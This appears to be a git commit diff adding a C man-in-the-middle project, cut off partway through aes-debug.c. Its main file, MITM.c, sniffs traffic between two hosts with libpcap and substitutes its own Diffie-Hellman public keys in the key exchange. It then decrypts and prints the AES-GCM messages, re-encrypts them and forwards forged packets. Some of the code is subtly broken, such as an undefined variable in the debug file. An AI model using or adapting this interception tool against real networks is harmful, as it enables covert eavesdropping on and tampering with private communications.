init repo
This commit is contained in:
parent
fdd7eff7d8
commit
3466e2693b
149
MITM/Diffie_hellman.c
Normal file
149
MITM/Diffie_hellman.c
Normal file
@ -0,0 +1,149 @@
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <time.h>
|
||||
#include <gmp.h>
|
||||
#include <string.h>
|
||||
typedef struct{
|
||||
mpz_t prime;
|
||||
mpz_t base;
|
||||
mpz_t private_key;
|
||||
mpz_t public_key;
|
||||
mpz_t key_for_server; //g^(AB)
|
||||
mpz_t key_for_client; //g^(AB)
|
||||
FILE *urand;
|
||||
}Mim_key;
|
||||
|
||||
void generate_random(size_t sz, unsigned char* random_bytes,Mim_key* dhk)
|
||||
{
|
||||
unsigned int init_random = 0;
|
||||
size_t i = 0;
|
||||
|
||||
if(0 == sz || NULL == random_bytes)
|
||||
{
|
||||
fprintf(stderr, "Wrong params for generate_random\n");
|
||||
exit(1);
|
||||
}
|
||||
init_random ^= ((unsigned int)fgetc(dhk->urand) << 8)|fgetc(dhk->urand);
|
||||
srand(init_random);
|
||||
for(i = 0; i < sz; i++)
|
||||
{
|
||||
random_bytes[i] = rand();
|
||||
}
|
||||
}
|
||||
|
||||
void put_hex(unsigned char* value, unsigned int len){
|
||||
//printf("%d:",len);
|
||||
printf("exchange key");
|
||||
for(int i=0;i<len;i++)
|
||||
printf("%02x ",value[i]);
|
||||
puts("");
|
||||
}
|
||||
|
||||
unsigned char* str2hex(char *hexStr){
|
||||
int len=strlen(hexStr)/2;
|
||||
unsigned char * hexvalue=(unsigned char*)malloc(len*sizeof(char));
|
||||
memset(hexvalue,0,len);
|
||||
for(int i=0;i<len;i++){
|
||||
if(hexStr[i*2]<='9'){
|
||||
hexvalue[i]=(hexStr[i*2]-'0')*16;
|
||||
}else
|
||||
hexvalue[i]=(hexStr[i*2]-87)*16; //aµÄÂëÊÇ97
|
||||
|
||||
if(hexStr[i*2+1]<='9'){
|
||||
hexvalue[i]+=(hexStr[i*2+1]-'0');
|
||||
}else
|
||||
hexvalue[i]+=(hexStr[i*2+1]-87);
|
||||
}
|
||||
return hexvalue;
|
||||
}
|
||||
|
||||
void generate_key(size_t sz, Mim_key* dhk)
|
||||
{
|
||||
unsigned char* random_bytes = NULL;
|
||||
|
||||
if(0 == sz || NULL == dhk->private_key)
|
||||
{
|
||||
fprintf(stderr, "Wrong params for generate_key\n");
|
||||
exit(1);
|
||||
}
|
||||
random_bytes = (unsigned char *)malloc(sz*sizeof(unsigned char));
|
||||
if(NULL == random_bytes)
|
||||
{
|
||||
fprintf(stderr, "Failed to allocate random bytes array for the private key\n");
|
||||
exit(1);
|
||||
}
|
||||
generate_random(sz, random_bytes, dhk);
|
||||
mpz_import(dhk->private_key, 1, -1, sz, -1, 0, (const void*)random_bytes);
|
||||
free(random_bytes);
|
||||
}
|
||||
|
||||
|
||||
void init_prime(size_t sz,Mim_key* dhk)
|
||||
{
|
||||
mpz_t tmp;
|
||||
mpz_t x;
|
||||
unsigned char* random_bytes = NULL;
|
||||
|
||||
|
||||
if(0 == sz)
|
||||
{
|
||||
fprintf(stderr, "Wrong params for init_prime\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
mpz_init(tmp);
|
||||
mpz_init(x);
|
||||
|
||||
random_bytes = (unsigned char *)malloc(sz*sizeof(unsigned char));
|
||||
if(NULL == random_bytes)
|
||||
{
|
||||
fprintf(stderr, "Failed to allocate random bytes array for the prime number\n");
|
||||
exit(1);
|
||||
}
|
||||
while (1)
|
||||
{
|
||||
generate_random(sz, random_bytes,dhk);
|
||||
random_bytes[sz-1] |= (unsigned char)0x40;
|
||||
random_bytes[0] |= (unsigned char)1;
|
||||
|
||||
mpz_import(tmp, 1, -1, sz, -1, 0, (const void*)random_bytes);
|
||||
while (0 == mpz_probab_prime_p(tmp, 10))
|
||||
{
|
||||
mpz_add_ui(tmp, tmp, 2);
|
||||
}
|
||||
mpz_mul_ui(dhk->prime, tmp, 2);
|
||||
mpz_add_ui(dhk->prime, dhk->prime, 1);
|
||||
if (0 != mpz_probab_prime_p(dhk->prime, 10))
|
||||
{
|
||||
break;
|
||||
}
|
||||
}
|
||||
free(random_bytes);
|
||||
|
||||
mpz_set_ui(dhk->base, (unsigned long)2);
|
||||
|
||||
mpz_clear(tmp);
|
||||
mpz_clear(x);
|
||||
}
|
||||
|
||||
|
||||
|
||||
void init_numbers(Mim_key* dhk)
|
||||
{
|
||||
mpz_init(dhk->key_for_client);
|
||||
mpz_init(dhk->key_for_server);
|
||||
mpz_init(dhk->prime);
|
||||
mpz_init(dhk->base);
|
||||
mpz_init(dhk->private_key);
|
||||
mpz_init(dhk->public_key);
|
||||
}
|
||||
|
||||
void clear_numbers(Mim_key* dhk)
|
||||
{
|
||||
mpz_clear(dhk->key_for_client);
|
||||
mpz_clear(dhk->key_for_server);
|
||||
mpz_clear(dhk->prime);
|
||||
mpz_clear(dhk->base);
|
||||
mpz_clear(dhk->private_key);
|
||||
mpz_clear(dhk->public_key);
|
||||
}
|
274
MITM/MITM.c
Normal file
274
MITM/MITM.c
Normal file
@ -0,0 +1,274 @@
|
||||
#include <pcap.h>
|
||||
#include <string.h>
|
||||
#include <stdlib.h>
|
||||
#include <netinet/ip.h>
|
||||
#include <netinet/tcp.h>
|
||||
#include <net/ethernet.h>
|
||||
#include "Diffie_hellman.c"
|
||||
|
||||
#define MAXBYTES2CAPTURE 2048
|
||||
|
||||
typedef struct{
|
||||
unsigned char client_ip[16];
|
||||
unsigned char server_ip[16];
|
||||
pcap_t *p;
|
||||
}ip_rule;
|
||||
|
||||
struct psd_header{
|
||||
unsigned int saddr;
|
||||
unsigned int daddr;
|
||||
char mbz;
|
||||
char ptcl;
|
||||
unsigned short tcpl;
|
||||
};
|
||||
Mim_key dh_key;
|
||||
unsigned char server_mac[]={0x00,0x0c,0x29,0x83,0xfc,0xdf};
|
||||
unsigned char client_mac[]={0x00,0x0c,0x29,0xb5,0x23,0x98};
|
||||
unsigned char self_mac[]={0x00, 0x0c, 0x29, 0x07, 0x31, 0x61};
|
||||
//计算tcp校验和
|
||||
uint16_t calc_checksum(void *pkt, int len) {
|
||||
uint16_t *buf = (uint16_t*)pkt;
|
||||
uint32_t checksum = 0;
|
||||
while (len > 1)
|
||||
{
|
||||
checksum += *buf++;
|
||||
checksum = (checksum >> 16) + (checksum & 0xffff);
|
||||
len -= 2;
|
||||
}
|
||||
if (len)
|
||||
{
|
||||
checksum += *((uint8_t*)buf);
|
||||
checksum = (checksum >> 16) + (checksum & 0xffff);
|
||||
}
|
||||
return (uint16_t)((~checksum) & 0xffff);
|
||||
}
|
||||
//伪造
|
||||
void set_psdheader(struct psd_header* ph,struct iphdr *ip, uint16_t tl){
|
||||
ph->saddr=ip->saddr;
|
||||
ph->daddr=ip->daddr;
|
||||
ph->mbz=0;
|
||||
ph->ptcl=6;
|
||||
ph->tcpl=htons(tl);
|
||||
}
|
||||
|
||||
//捕包
|
||||
void tcp_callback(u_char *arg, const struct pcap_pkthdr* pkthdr, const u_char * packet){
|
||||
struct ether_header *ethernet;
|
||||
struct iphdr *ip;
|
||||
struct tcphdr *tcp;
|
||||
char srcip_str[16];
|
||||
int hdr_len = ETHER_HDR_LEN + sizeof(struct iphdr) + sizeof(struct tcphdr) + 12;
|
||||
int dl=pkthdr->len-hdr_len;
|
||||
|
||||
memset(srcip_str,0,16);
|
||||
ip_rule * ip_r=(ip_rule*)arg;
|
||||
//数据帧头部
|
||||
ethernet = (struct ether_header*)(packet);
|
||||
//ip头部
|
||||
ip = (struct iphdr*)(packet + ETHER_HDR_LEN);
|
||||
//tcp头部
|
||||
tcp = (struct tcphdr*)(packet + ETHER_HDR_LEN+ sizeof(struct iphdr));
|
||||
inet_ntop(AF_INET,&(ip->saddr),srcip_str,16);
|
||||
memcpy(ethernet->ether_shost, self_mac, 6);
|
||||
|
||||
//处理服务器端发送的信息
|
||||
if(strncmp(srcip_str, ip_r->server_ip, strlen(srcip_str))==0)
|
||||
{
|
||||
//模
|
||||
if(strncmp(packet+hdr_len,"pri",3)==0)
|
||||
{
|
||||
mpz_set_str(dh_key.prime, packet+hdr_len+3, 16);
|
||||
}
|
||||
else if(strncmp(packet+hdr_len,"data",4)==0)
|
||||
{
|
||||
char *buff=packet+hdr_len;
|
||||
char *plain=(char*)malloc(dl-48);
|
||||
bzero(plain, sizeof(buff));
|
||||
char key_string[128],key_value[32];
|
||||
mpz_get_str(key_string, 16, dh_key.key_for_server);
|
||||
memcpy(key_value, str2hex(key_string), sizeof(key_value));
|
||||
|
||||
//解密
|
||||
unsigned char iv[12],add[16],tag[16];
|
||||
memcpy(add,buff+4,16);
|
||||
memcpy(iv,buff+16+4,12);
|
||||
memset(tag,0,16);
|
||||
int tmp=aes_gcm_ad(key_value, 32,iv, 12,buff+44+4, dl-44-4,add, 16,tag, plain);
|
||||
printf("[server]%s",plain);
|
||||
|
||||
//加密
|
||||
bzero(key_string, sizeof(key_string));
|
||||
mpz_get_str(key_string, 16, dh_key.key_for_client);
|
||||
memcpy(key_value, str2hex(key_string), sizeof(key_value));
|
||||
tmp=aes_gcm_ae(key_value, 32,iv,12,plain,dl-48,add, 16,buff+44+4, tag);
|
||||
|
||||
//伪造tcp头
|
||||
uint16_t tcp_len =pkthdr->len-ETHER_HDR_LEN-sizeof(struct iphdr);
|
||||
unsigned char * data_for_checksum=(unsigned char*)malloc(tcp_len+sizeof(struct psd_header));
|
||||
struct psd_header ph;
|
||||
bzero(data_for_checksum, tcp_len+sizeof(ph));
|
||||
set_psdheader(&ph, ip, tcp_len);
|
||||
memcpy(data_for_checksum, (void*)(&ph), sizeof(ph));
|
||||
tcp->check=0;
|
||||
memcpy(data_for_checksum+sizeof(ph), tcp, tcp_len);
|
||||
uint16_t cs= calc_checksum(data_for_checksum, tcp_len + sizeof(ph));
|
||||
tcp->check=cs;
|
||||
}
|
||||
else if(strncmp(packet+hdr_len,"pub",3)==0)
|
||||
{
|
||||
mpz_t key_from_s;
|
||||
mpz_init(key_from_s);
|
||||
mpz_set_str(key_from_s,packet+hdr_len+3,16);
|
||||
mpz_powm(dh_key.key_for_server, key_from_s, dh_key.private_key, dh_key.prime);
|
||||
unsigned char pub[64];
|
||||
mpz_get_str(pub,16,dh_key.public_key);
|
||||
memcpy(packet+hdr_len+3,pub,sizeof(pub));
|
||||
|
||||
//伪造tcp头
|
||||
uint16_t tcp_len =pkthdr->len-ETHER_HDR_LEN-sizeof(struct iphdr);
|
||||
unsigned char * data_for_checksum=(unsigned char*)malloc(tcp_len+sizeof(struct psd_header));
|
||||
struct psd_header ph;
|
||||
bzero(data_for_checksum, tcp_len+sizeof(ph));
|
||||
set_psdheader(&ph, ip, tcp_len);
|
||||
memcpy(data_for_checksum, (void*)(&ph), sizeof(ph));
|
||||
tcp->check=0;
|
||||
memcpy(data_for_checksum+sizeof(ph), tcp, tcp_len);
|
||||
unsigned short cs= calc_checksum(data_for_checksum, tcp_len + sizeof(ph));
|
||||
tcp->check=cs;
|
||||
}
|
||||
memcpy(ethernet->ether_dhost,client_mac,6);
|
||||
}
|
||||
//处理客户端
|
||||
else
|
||||
{
|
||||
if(strncmp(packet+hdr_len,"data",4)==0)
|
||||
{
|
||||
//decrypt
|
||||
char *buff=packet+hdr_len;
|
||||
char *plain=(char*)malloc(dl-48);
|
||||
bzero(plain, sizeof(buff));
|
||||
char key_string[128],key_value[32];
|
||||
mpz_get_str(key_string, 16, dh_key.key_for_client);
|
||||
memcpy(key_value, str2hex(key_string), sizeof(key_value));
|
||||
|
||||
//解密
|
||||
unsigned char iv[12],add[16],tag[16];
|
||||
memcpy(add,buff+4,16);
|
||||
memcpy(iv,buff+16+4,12);
|
||||
memset(tag,0,16);
|
||||
int tmp=aes_gcm_ad(key_value, 32,iv, 12,buff+44+4, dl-44-4,add, 16,tag, plain);
|
||||
printf("[client]%s",plain);
|
||||
|
||||
//加密
|
||||
bzero(key_string, sizeof(key_string));
|
||||
mpz_get_str(key_string, 16, dh_key.key_for_server);
|
||||
memcpy(key_value, str2hex(key_string), sizeof(key_value));
|
||||
tmp=aes_gcm_ae(key_value, 32,iv,12,plain,dl-48,add, 16,buff+44+4, tag);
|
||||
|
||||
//伪造
|
||||
uint16_t tcp_len =pkthdr->len-ETHER_HDR_LEN-sizeof(struct iphdr);
|
||||
unsigned char * data_for_checksum=(unsigned char*)malloc(tcp_len+sizeof(struct psd_header));
|
||||
struct psd_header ph;
|
||||
bzero(data_for_checksum, tcp_len+sizeof(ph));
|
||||
set_psdheader(&ph, ip, tcp_len);
|
||||
memcpy(data_for_checksum, (void*)(&ph), sizeof(ph));
|
||||
tcp->check=0;
|
||||
memcpy(data_for_checksum+sizeof(ph), tcp, tcp_len);
|
||||
uint16_t cs= calc_checksum(data_for_checksum, tcp_len + sizeof(ph));
|
||||
tcp->check=cs;
|
||||
}
|
||||
else if(strncmp(packet+hdr_len,"pub",3)==0)
|
||||
{
|
||||
unsigned char pub[64];
|
||||
generate_key(32,&dh_key);
|
||||
mpz_t key_from_c;
|
||||
mpz_init(key_from_c);
|
||||
mpz_set_str(key_from_c,packet+hdr_len+3,16);
|
||||
mpz_powm(dh_key.key_for_client, key_from_c, dh_key.private_key, dh_key.prime);
|
||||
mpz_powm(dh_key.public_key, dh_key.base, dh_key.private_key, dh_key.prime);
|
||||
memcpy(ethernet->ether_dhost,server_mac,6);
|
||||
|
||||
mpz_get_str(pub,16,dh_key.public_key);
|
||||
memcpy(packet+hdr_len+3,pub,sizeof(pub));
|
||||
|
||||
uint16_t tcp_len =pkthdr->len-ETHER_HDR_LEN-sizeof(struct iphdr);
|
||||
unsigned char * data_for_checksum=(unsigned char*)malloc(tcp_len+sizeof(struct psd_header));
|
||||
struct psd_header ph;
|
||||
bzero(data_for_checksum, tcp_len+sizeof(ph));
|
||||
set_psdheader(&ph, ip, tcp_len);
|
||||
memcpy(data_for_checksum, (void*)(&ph), sizeof(ph));
|
||||
tcp->check=0;
|
||||
memcpy(data_for_checksum+sizeof(ph), tcp, tcp_len);
|
||||
uint16_t cs= calc_checksum(data_for_checksum, tcp_len + sizeof(ph));
|
||||
tcp->check=cs;
|
||||
}
|
||||
memcpy(ethernet->ether_dhost,server_mac,6);
|
||||
}
|
||||
pcap_sendpacket(ip_r->p,packet,pkthdr->len);
|
||||
return;
|
||||
}
|
||||
|
||||
/* main(): Main function. Opens network interface and calls pcap_loop() */
|
||||
int main(int argc, char *argv[] ){
|
||||
int i=0, count=0;
|
||||
pcap_t *descr = NULL;
|
||||
char errbuf[PCAP_ERRBUF_SIZE], *device=NULL;
|
||||
struct bpf_program filter;
|
||||
|
||||
memset(errbuf,0,PCAP_ERRBUF_SIZE);
|
||||
init_numbers(&dh_key);
|
||||
mpz_set_ui(dh_key.base, (unsigned long)2);
|
||||
dh_key.urand = fopen("/dev/urandom","r");
|
||||
|
||||
//获得网卡信息
|
||||
if ( (device = pcap_lookupdev(errbuf)) == NULL)
|
||||
{
|
||||
fprintf(stderr, "ERROR: %s\n", errbuf);
|
||||
exit(1);
|
||||
}
|
||||
printf("Opening device %s\n", device);
|
||||
//打开网卡
|
||||
if ( (descr = pcap_open_live(device, MAXBYTES2CAPTURE, 1, 512, errbuf)) == NULL)
|
||||
{
|
||||
fprintf(stderr, "ERROR: %s\n", errbuf);
|
||||
exit(1);
|
||||
}
|
||||
|
||||
//设置过滤信息
|
||||
char rule[128];
|
||||
memset(rule,0,128);
|
||||
strncat(rule,"(src host ",10);
|
||||
strncat(rule,argv[1],strlen(argv[1]));
|
||||
strncat(rule," and dst host ",14);
|
||||
strncat(rule,argv[2],strlen(argv[2]));
|
||||
strncat(rule,") or (src host ",15);
|
||||
strncat(rule,argv[2],strlen(argv[2]));
|
||||
strncat(rule," and dst host ",14);
|
||||
strncat(rule,argv[1],strlen(argv[1]));
|
||||
strncat(rule, ")", 1);
|
||||
if(pcap_compile(descr,&filter,rule,1,0)<0)
|
||||
{
|
||||
printf("error\n");
|
||||
return 0;
|
||||
}
|
||||
if(pcap_setfilter(descr,&filter)<0)
|
||||
{
|
||||
printf("error\n");
|
||||
return 0;
|
||||
}
|
||||
ip_rule ip_r;
|
||||
ip_r.p=descr;
|
||||
memset(ip_r.client_ip,0,15);
|
||||
memcpy(ip_r.client_ip, argv[1],strlen(argv[1]));
|
||||
memset(ip_r.server_ip,0,15);
|
||||
memcpy(ip_r.server_ip, argv[2],strlen(argv[2]));
|
||||
//循环捕包
|
||||
if (pcap_loop(descr, -1, tcp_callback, (u_char *) &ip_r) == -1)
|
||||
{
|
||||
fprintf(stderr, "ERROR: %s\n", pcap_geterr(descr) );
|
||||
exit(1);
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
246
MITM/aes-common.h
Normal file
246
MITM/aes-common.h
Normal file
@ -0,0 +1,246 @@
|
||||
#ifndef AES_COMMON_H
|
||||
#define AES_COMMON_H
|
||||
|
||||
#include <ctype.h>
|
||||
#include <stdlib.h>
|
||||
#include <stdio.h>
|
||||
#include <stdarg.h>
|
||||
#include <string.h>
|
||||
|
||||
|
||||
/* integer types */
|
||||
|
||||
typedef unsigned char aes_uchar;
|
||||
typedef unsigned short aes_ushort;
|
||||
typedef unsigned int aes_uint;
|
||||
typedef unsigned long long aes_ulong;
|
||||
typedef signed char aes_char;
|
||||
typedef signed short aes_short;
|
||||
typedef signed int aes_int;
|
||||
typedef signed long long aes_long;
|
||||
|
||||
|
||||
/* byte order */
|
||||
|
||||
#if defined(__linux__) || defined(__GLIBC__)
|
||||
#include <endian.h>
|
||||
#include <byteswap.h>
|
||||
#endif /* defined(__linux__) || defined(__GLIBC__) */
|
||||
|
||||
#if defined(__FreeBSD__) || defined(__NetBSD__) || \
|
||||
defined(__DragonFly__) || defined(__OpenBSD__)
|
||||
#include <sys/types.h>
|
||||
#include <sys/endian.h>
|
||||
#define __BYTE_ORDER _BYTE_ORDER
|
||||
#define __LITTLE_ENDIAN _LITTLE_ENDIAN
|
||||
#define __BIG_ENDIAN _BIG_ENDIAN
|
||||
#endif /* defined(__FreeBSD__) || defined(__NetBSD__) ||
|
||||
* defined(__DragonFly__) || defined(__OpenBSD__) */
|
||||
|
||||
#ifdef sun
|
||||
#include <sys/isa_defs.h>
|
||||
#define __LITTLE_ENDIAN 1234
|
||||
#define __BIG_ENDIAN 4321
|
||||
#ifdef _LITTLE_ENDIAN
|
||||
#define __BYTE_ORDER __LITTLE_ENDIAN
|
||||
#else
|
||||
#define __BYTE_ORDER __BIG_ENDIAN
|
||||
#endif
|
||||
#endif
|
||||
|
||||
#ifdef _MSC_VER
|
||||
#define inline __inline
|
||||
#define __LITTLE_ENDIAN 1234
|
||||
#define __BIG_ENDIAN 4321
|
||||
#define __BYTE_ORDER __LITTLE_ENDIAN
|
||||
#endif /* _MSC_VER */
|
||||
|
||||
#ifdef __APPLE__
|
||||
#include <sys/types.h>
|
||||
#include <machine/endian.h>
|
||||
#define __BYTE_ORDER BYTE_ORDER
|
||||
#define __LITTLE_ENDIAN LITTLE_ENDIAN
|
||||
#define __BIG_ENDIAN BIG_ENDIAN
|
||||
#endif /* __APPLE__ */
|
||||
|
||||
|
||||
/* byte swap macros */
|
||||
|
||||
#ifndef bswap_16
|
||||
#define bswap_16(a) ((((aes_ushort) (a) & 0xff00) >> 8) | \
|
||||
(((aes_ushort) (a) & 0x00ff) << 8))
|
||||
#endif
|
||||
|
||||
#ifndef bswap_32
|
||||
#if defined __GNUC__
|
||||
#define bswap_32(a) __builtin_bswap32(a)
|
||||
#else
|
||||
#define bswap_32(a) ((((aes_uint) (a) & 0xff000000) >> 24) | \
|
||||
(((aes_uint) (a) & 0x00ff0000) >> 8) | \
|
||||
(((aes_uint) (a) & 0x0000ff00) << 8) | \
|
||||
(((aes_uint) (a) & 0x000000ff) << 24))
|
||||
#endif
|
||||
#endif
|
||||
|
||||
#ifndef bswap_64
|
||||
#if defined __GNUC__
|
||||
#define bswap_64(a) __builtin_bswap64(a)
|
||||
#else
|
||||
#define bswap_64(a) ((((aes_ulong) (a) & 0xff00000000000000ull) >> 56) | \
|
||||
(((aes_ulong) (a) & 0x00ff000000000000ull) >> 40) | \
|
||||
(((aes_ulong) (a) & 0x0000ff0000000000ull) >> 24) | \
|
||||
(((aes_ulong) (a) & 0x000000ff00000000ull) >> 8) | \
|
||||
(((aes_ulong) (a) & 0x00000000ff000000ull) << 8) | \
|
||||
(((aes_ulong) (a) & 0x0000000000ff0000ull) << 24) | \
|
||||
(((aes_ulong) (a) & 0x000000000000ff00ull) << 40) | \
|
||||
(((aes_ulong) (a) & 0x00000000000000ffull) << 56))
|
||||
#endif
|
||||
#endif
|
||||
|
||||
|
||||
#if __BYTE_ORDER == __LITTLE_ENDIAN
|
||||
#define __ENDIAN_LITTLE__ 1 /* OpenCL */
|
||||
#define le_to_host16(n) (n)
|
||||
#define host_to_le16(n) (n)
|
||||
#define be_to_host16(n) bswap_16(n)
|
||||
#define host_to_be16(n) bswap_16(n)
|
||||
#define le_to_host32(n) (n)
|
||||
#define host_to_le32(n) (n)
|
||||
#define be_to_host32(n) bswap_32(n)
|
||||
#define host_to_be32(n) bswap_32(n)
|
||||
#define le_to_host64(n) (n)
|
||||
#define host_to_le64(n) (n)
|
||||
#define be_to_host64(n) bswap_64(n)
|
||||
#define host_to_be64(n) bswap_64(n)
|
||||
#elif __BYTE_ORDER == __BIG_ENDIAN
|
||||
#define le_to_host16(n) bswap_16(n)
|
||||
#define host_to_le16(n) bswap_16(n)
|
||||
#define be_to_host16(n) (n)
|
||||
#define host_to_be16(n) (n)
|
||||
#define le_to_host32(n) bswap_32(n)
|
||||
#define host_to_le32(n) bswap_32(n)
|
||||
#define be_to_host32(n) (n)
|
||||
#define host_to_be32(n) (n)
|
||||
#define le_to_host64(n) bswap_64(n)
|
||||
#define host_to_le64(n) bswap_64(n)
|
||||
#define be_to_host64(n) (n)
|
||||
#define host_to_be64(n) (n)
|
||||
#else
|
||||
#error Could not determine CPU byte order
|
||||
#endif
|
||||
|
||||
|
||||
/* unaligned memory accesses */
|
||||
|
||||
static inline aes_ushort AES_GET_BE16(const aes_uchar *a)
|
||||
{
|
||||
return (a[0] << 8) | a[1];
|
||||
}
|
||||
|
||||
static inline void AES_PUT_BE16(aes_uchar *a, aes_ushort val)
|
||||
{
|
||||
a[0] = val >> 8;
|
||||
a[1] = val & 0xff;
|
||||
}
|
||||
|
||||
static inline aes_ushort AES_GET_LE16(const aes_uchar *a)
|
||||
{
|
||||
return (a[1] << 8) | a[0];
|
||||
}
|
||||
|
||||
static inline void AES_PUT_LE16(aes_uchar *a, aes_ushort val)
|
||||
{
|
||||
a[1] = val >> 8;
|
||||
a[0] = val & 0xff;
|
||||
}
|
||||
|
||||
static inline aes_uint AES_GET_BE24(const aes_uchar *a)
|
||||
{
|
||||
return (a[0] << 16) | (a[1] << 8) | a[2];
|
||||
}
|
||||
|
||||
static inline void AES_PUT_BE24(aes_uchar *a, aes_uint val)
|
||||
{
|
||||
a[0] = (val >> 16) & 0xff;
|
||||
a[1] = (val >> 8) & 0xff;
|
||||
a[2] = val & 0xff;
|
||||
}
|
||||
|
||||
static inline aes_uint AES_GET_BE32(const aes_uchar *a)
|
||||
{
|
||||
return (a[0] << 24) | (a[1] << 16) | (a[2] << 8) | a[3];
|
||||
}
|
||||
|
||||
static inline void AES_PUT_BE32(aes_uchar *a, aes_uint val)
|
||||
{
|
||||
a[0] = (val >> 24) & 0xff;
|
||||
a[1] = (val >> 16) & 0xff;
|
||||
a[2] = (val >> 8) & 0xff;
|
||||
a[3] = val & 0xff;
|
||||
}
|
||||
|
||||
static inline aes_uint AES_GET_LE32(const aes_uchar *a)
|
||||
{
|
||||
return (a[3] << 24) | (a[2] << 16) | (a[1] << 8) | a[0];
|
||||
}
|
||||
|
||||
static inline void AES_PUT_LE32(aes_uchar *a, aes_uint val)
|
||||
{
|
||||
a[3] = (val >> 24) & 0xff;
|
||||
a[2] = (val >> 16) & 0xff;
|
||||
a[1] = (val >> 8) & 0xff;
|
||||
a[0] = val & 0xff;
|
||||
}
|
||||
|
||||
static inline aes_ulong AES_GET_BE64(const aes_uchar *a)
|
||||
{
|
||||
return (((aes_ulong) a[0]) << 56) | (((aes_ulong) a[1]) << 48) |
|
||||
(((aes_ulong) a[2]) << 40) | (((aes_ulong) a[3]) << 32) |
|
||||
(((aes_ulong) a[4]) << 24) | (((aes_ulong) a[5]) << 16) |
|
||||
(((aes_ulong) a[6]) << 8) | ((aes_ulong) a[7]);
|
||||
}
|
||||
|
||||
static inline void AES_PUT_BE64(aes_uchar *a, aes_ulong val)
|
||||
{
|
||||
a[0] = val >> 56;
|
||||
a[1] = val >> 48;
|
||||
a[2] = val >> 40;
|
||||
a[3] = val >> 32;
|
||||
a[4] = val >> 24;
|
||||
a[5] = val >> 16;
|
||||
a[6] = val >> 8;
|
||||
a[7] = val & 0xff;
|
||||
}
|
||||
|
||||
static inline aes_ulong AES_GET_LE64(const aes_uchar *a)
|
||||
{
|
||||
return (((aes_ulong) a[7]) << 56) | (((aes_ulong) a[6]) << 48) |
|
||||
(((aes_ulong) a[5]) << 40) | (((aes_ulong) a[4]) << 32) |
|
||||
(((aes_ulong) a[3]) << 24) | (((aes_ulong) a[2]) << 16) |
|
||||
(((aes_ulong) a[1]) << 8) | ((aes_ulong) a[0]);
|
||||
}
|
||||
|
||||
static inline void AES_PUT_LE64(aes_uchar *a, aes_ulong val)
|
||||
{
|
||||
a[7] = val >> 56;
|
||||
a[6] = val >> 48;
|
||||
a[5] = val >> 40;
|
||||
a[4] = val >> 32;
|
||||
a[3] = val >> 24;
|
||||
a[2] = val >> 16;
|
||||
a[1] = val >> 8;
|
||||
a[0] = val & 0xff;
|
||||
}
|
||||
|
||||
|
||||
/* function attribute macros */
|
||||
|
||||
#ifndef AES_WARN_UNUSED_RESULT
|
||||
#if defined __GNUC__
|
||||
#define AES_WARN_UNUSED_RESULT __attribute__((__warn_unused_result__))
|
||||
#else
|
||||
#define AES_WARN_UNUSED_RESULT
|
||||
#endif /* __GNUC__ */
|
||||
#endif /* AES_WARN_UNUSED_RESULT */
|
||||
|
||||
#endif /* AES_COMMON_H */
|
166
MITM/aes-debug.c
Normal file
166
MITM/aes-debug.c
Normal file
@ -0,0 +1,166 @@
|
||||
#define AES_DEBUG
|
||||
|
||||
#include "aes.h"
|
||||
|
||||
int aes_debug_level = MSG_EXCESSIVE;
|
||||
int aes_debug_show_keys = 1;
|
||||
int aes_debug_timestamp = 1;
|
||||
|
||||
#if defined(_MSC_VER) || ( defined(__WIN32__) && !defined(__CYGWIN__))
|
||||
|
||||
#include <time.h>
|
||||
#include <windows.h>
|
||||
|
||||
const __int64 DELTA_EPOCH_IN_MICROSECS= 11644473600000000;
|
||||
|
||||
int gettimeofday(struct timeval *tv, struct timezone *tz)
|
||||
{
|
||||
FILETIME ft;
|
||||
__int64 tmpres = 0;
|
||||
TIME_ZONE_INFORMATION tz_winapi;
|
||||
int ret = 0;
|
||||
|
||||
ZeroMemory(&ft,sizeof(ft));
|
||||
ZeroMemory(&tz_winapi,sizeof(tz_winapi));
|
||||
|
||||
GetSystemTimeAsFileTime(&ft);
|
||||
|
||||
tmpres = ft.dwHighDateTime;
|
||||
tmpres <<= 32;
|
||||
tmpres |= ft.dwLowDateTime;
|
||||
|
||||
/*converting file time to unix epoch*/
|
||||
tmpres /= 10; /*convert into microseconds*/
|
||||
tmpres -= DELTA_EPOCH_IN_MICROSECS;
|
||||
tv->tv_sec = (__int32)(tmpres*0.000001);
|
||||
tv->tv_usec =(tmpres%1000000);
|
||||
|
||||
if (tz) {
|
||||
ret = GetTimeZoneInformation(&tz_winapi);
|
||||
tz->tz_dsttime = (ret == 2) ? true : false;
|
||||
tz->tz_minuteswest = tz_winapi.Bias + ((rez==2)?tz_winapi.DaylightBias:0);
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
#endif
|
||||
|
||||
|
||||
void aes_debug_print_timestamp(void)
|
||||
{
|
||||
struct timeval tv;
|
||||
|
||||
if (!aes_debug_timestamp)
|
||||
return;
|
||||
|
||||
gettimeofday(&tv, NULL);
|
||||
printf("%ld.%06u: ", (long) tv.tv_sec, (unsigned int) tv.tv_usec);
|
||||
}
|
||||
|
||||
|
||||
void aes_printf(int level, const char *fmt, ...)
|
||||
{
|
||||
va_list ap;
|
||||
|
||||
va_start(ap, fmt);
|
||||
if (level >= aes_debug_level) {
|
||||
aes_debug_print_timestamp();
|
||||
vprintf(fmt, ap);
|
||||
printf("\n");
|
||||
}
|
||||
va_end(ap);
|
||||
}
|
||||
|
||||
|
||||
static void _aes_hexdump(int level, const char *title, const aes_uchar *buf,
|
||||
size_t len, int show)
|
||||
{
|
||||
size_t i;
|
||||
|
||||
if (level < aes_debug_level)
|
||||
return;
|
||||
|
||||
aes_debug_print_timestamp();
|
||||
printf("%s - hexdump(len=%lu):", title, (unsigned long) len);
|
||||
if (buf == NULL) {
|
||||
printf(" [NULL]");
|
||||
} else if (show) {
|
||||
for (i = 0; i < len; i++)
|
||||
printf(" %02x", buf[i]);
|
||||
} else {
|
||||
printf(" [REDACTED]");
|
||||
}
|
||||
printf("\n");
|
||||
}
|
||||
|
||||
|
||||
void aes_hexdump(int level, const char *title, const void *buf, size_t len)
|
||||
{
|
||||
_aes_hexdump(level, title, buf, len, 1);
|
||||
}
|
||||
|
||||
|
||||
void aes_hexdump_key(int level, const char *title, const void *buf, size_t len)
|
||||
{
|
||||
_aes_hexdump(level, title, buf, len, aes_debug_show_keys);
|
||||
}
|
||||
|
||||
|
||||
static void _aes_hexdump_ascii(int level, const char *title, const void *buf,
|
||||
size_t len, int show)
|
